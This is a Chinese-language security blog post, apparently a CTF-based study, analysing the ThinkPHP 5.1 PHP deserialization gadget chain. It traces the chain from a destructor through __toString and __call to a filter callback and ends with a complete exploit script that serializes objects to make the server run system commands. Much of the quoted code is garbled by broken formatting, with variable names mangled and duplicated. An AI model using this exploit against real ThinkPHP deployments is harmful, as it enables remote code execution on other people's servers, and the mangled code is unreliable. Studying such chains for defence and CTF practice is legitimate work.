ThinkPHP 5.1反序列化分析和poc

114 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

0x00 前言

最近挖不出漏洞了,所以来学习一下反序列化。毕竟测试的系统连个页面也没有,只给了十几个接口。之前对反序列化只停留在基础的原理层面,所以这次着重一下分析思想和如何写poc上面。所以就拿最经典的分析。

0x01 复现环境

windows10

phpstudy(apache+mysql)

thinkphp5.1

php7.3.4

CTFhub thinkphp5.1反序列化题目

0x02 CTFhub thinkphp

答题

开启环境后

图片

将代码下载到本地,利用phpstrom+phpstudy+xdebug搭建分析环境

查看一下writeup给的exp,放到本地环境生成序列化后的字符串。

图片

看一下环境中给出的序列化参数是在index/controller/Index.php 中str

图片

所以利用方式如下

图片

获取flag

图片

关于s=index/index/hello&a=whoami

为什么s是路由?

默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。application/index/controller/ 为默认控制器的根目录,当我们在路由中书写时,如果只使用默认控制器,只用写入 控制器文件名/方法。

'index/index/hello' //模块(index)/控制器(controller)/index.php/:function hello

为什么a是参数?

其实a,b,c等都可以,只要不与其他内定规则冲突

图片

0x03 基础知识

魔术方法

PoP链的核心,就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种:

__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说,也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup: 类实例反序列化时触发。
__call: 当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic:当调用了类对象中不可访问的静态方法时触发。
__get: 当获取了类对象中不可访问的属性时触发。
__set: 当试图向类对象中不可访问的属性赋值时触发。
__invoke: 当对象调用为函数时触发

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 this>this->func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

0x04 分析

首先我们先看一下大佬画的攻击链

图片

然后我们来思考一下为什么会找到以上函数当链条

__destruct

目标:通过__destruct想法设法调用output类中的__call来实现命令执行

全局搜索__destruct

Windows.php里的__destruct可以作为入口点

在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。

public function __destruct()
{
this>close();this->close(); this->removeFiles();
}

//removeFiles
private function removeFiles()
{
foreach (this>filesasthis->files as filename) {
if (file_exists(filename)) { @unlink(filename);
}
}
$this->files = [];
}

如果我们将一个类赋值给 filename变量,那么在file_exists(filename 变量,那么在 file\_exists(filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。

function file_exists(string $filename): bool {}

/**
* Tells whether the filename is writable
* @link php.net/manual/en/f…
* @param string $filename

__toString

全局搜索__toString

name变量来自name 变量来自 this->append ,是可以控制的。

public function __toString()
{
return $this->toJson();
}

//跟进toJson
public function toJson(options = JSON\_UNESCAPED\_UNICODE) { return json\_encode(this->toArray(), $options);
}

//跟进toArray
public function toArray()
{
item \= \[\]; hasVisible = false;
...
// 追加属性(必须定义获取器)
if (!empty(this->append)) { //需要数组非空进入 foreach (this->append as key=>key => name) { //遍历数组,且数组要是键值对的形式
if (is_array(name)) { //name需要是数组 // 追加关联对象属性 relation = this>getRelation(this->getRelation(key);

if (!relation) { relation = this>getAttr(this->getAttr(key);
if (relation) { relation->visible($name);
}
}

item\[item\[key] = relation?relation ? relation->append(name)->toArray() : \[\]; } ... return item;

通过查看getData函数我们可以知道relation变量来自relation 变量来自 this->data[$name] ,而这个变量是可以控制的。

public function getAttr(name, &item = null)
{
try {
notFound=false;notFound = false; value = this>getData(this->getData(name);
} catch (InvalidArgumentException e) { notFound = true;
$value = null;
}

//跟进getData
public function getData(name = null) { if (is\_null(name)) {
return this->data; } elseif (array\_key\_exists(name, this->data)) { return this->data[name\]; } elseif (array\_key\_exists(name, this->relation)) { return this->relation[name\]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . name);
}

所以 relation>visible(relation->visible(name) 就变成了:可控类->visible(可控变量) 。

代码执行点分析

__call方法

只要对象可控,且调用了不存在的方法,就会调用__call方法,因为visible不存在,所以会调用 $relation的__call方法

全局搜索__call方法

Request类中的 __call方法 存在call_user_func_array,并且 this>hook可控,所以我们可以使用this->hook 可控,所以我们可以使用this->hook[$method]去调用我们想要调用的函数。但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。无法控制构造pyaload。

public function __call(method,method, args)
{
if (array_key_exists(method,method, this->hook)) {
array_unshift(args,args, this);
return call_user_func_array(this>hook\[this->hook\[method], $args);
}

input -filterValue

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func(filter,filter,data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

public function input(data = \[\], name = '', default=null,default = null, filter = '')
{ // 解析过滤器
filter=filter = this->getFilter(filter,filter, default);

if (is_array(data)) { array\_walk\_recursive(data, [this, 'filterValue'\], filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
this>arrayReset(this->arrayReset(data);
}
} else {
this>filterValue(this->filterValue(data, name,name, filter);
}
}

//filterValue
//通过后面的分析我们知道param函数可以获得_GET数组并赋值给\_GET数组并赋值给this->param。会发现filterValue.value的值为第一个通过GET请求的值,而filters.key为GET请求的键,并且filters.filters就等于input.filters的值。
private function filterValue(&value,value, key, filters) { default = array_pop($filters);

foreach (filtersasfilters as filter) {
if (is_callable(filter)) { // 调用函数或者方法过滤 value = call_user_func(filter,filter, value);
//
}

param

在找何处调用input时,发现了param()函数调用input,并且第一个参数的值$this->param可控

//param
public function param(name=,name = '', default = null, filter = '') { return this->input(this>param,this->param, name, default,default, filter);
}

this>param是由本来的this->param是由本来的this->param,还有请求参数和URL地址中的参数合并。

但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造this>param也是可以的,但是考虑到可以动态命令执行,因此就不构造this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。

this->param \= array\_merge(this->param, this>get(false),this->get(false), vars, $this->route(false));

isAjax

何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()

//isAjax
public function isAjax(ajax = false) { result = this>param(this->param(this->config['var_ajax']) ? true : $result;
}

在isAjax函数中,我们可以控制this->config\['var\_ajax'\],this->config['var_ajax']可控就意味着param函数中的name可控。param函数中的name可控。param函数中的name可控就意味着input函数中的$name可控。

this->config\['var\_ajax'\]是配置文件中的值,只需要让他为空,那么他在调用this->param时,默认的第一个参数name就为空,之后再调用input时传入的name就为空,之后再调用input时传入的name就为空,从而绕过了input函数中的if判断。也就进入了this>filterValue(this->filterValue(data, name,name, filter);

exp

关于payload解释一下为什么使用$this->files=[new Pivot()];

//model中含有conversion 我们就可以调用Conversion的__toString
namespace think;
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

//Pivot继承model 在filename传入Pivot类对象 将Pivot类做字符串处理,从而调用Conversion的__toString

namespace think\model;
use think\Model;
class Pivot extends Model
{

namespace think;
abstract class Model{
protected append = \[\]; //传入数组 private data = [];
function __construct(){
this->append = \["ethan"=>\["calc.exe","calc"\]\]; //数组非空且为键值对 name需要是数组即\["calc.exe","calc"\] this->data = ["ethan"=>new Request()]; //Request()里没有visible函数,就会调用call函数
}
}
class Request
{
protected hook = \[\]; protected filter = "system";
protected config = \[ // 表单请求类型伪装变量 'var\_method' \=> '\_method', // 表单ajax伪装变量 'var\_ajax' \=> '\_ajax', // 表单pjax伪装变量 'var\_pjax' \=> '\_pjax', // PATHINFO变量名 用于兼容模式 'var\_pathinfo' \=> 's', // 兼容PATH\_INFO获取 'pathinfo\_fetch' \=> \['ORIG\_PATH\_INFO', 'REDIRECT\_PATH\_INFO', 'REDIRECT\_URL'\], // 默认全局过滤方法 用逗号分隔多个 'default\_filter' \=> '', // 域名根,如thinkphp.cn 'url\_domain\_root' \=> '', // HTTPS代理标识 'https\_agent\_name' => '', // IP代理获取标识 'http\_agent\_ip' \=> 'HTTP\_X\_REAL\_IP', // URL伪静态后缀 'url\_html\_suffix' \=> 'html', \]; function \_\_construct(){ this->filter = "system";
this->config = \["var\_ajax"=>''\]; this->hook = ["visible"=>[$this,"isAjax"]]; //hook调用filterValue的call_user_func
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

参考链接:

paper.seebug.org/1480/

xz.aliyun.com/t/6467

www.freebuf.com/articles/we…

blog.csdn.net/weixin\_549…

blog.csdn.net/qq\_4338054…

www.cnblogs.com/zpchcbd/p/1…

☆ END ☆

灼剑(Tsojan)安全团队

图片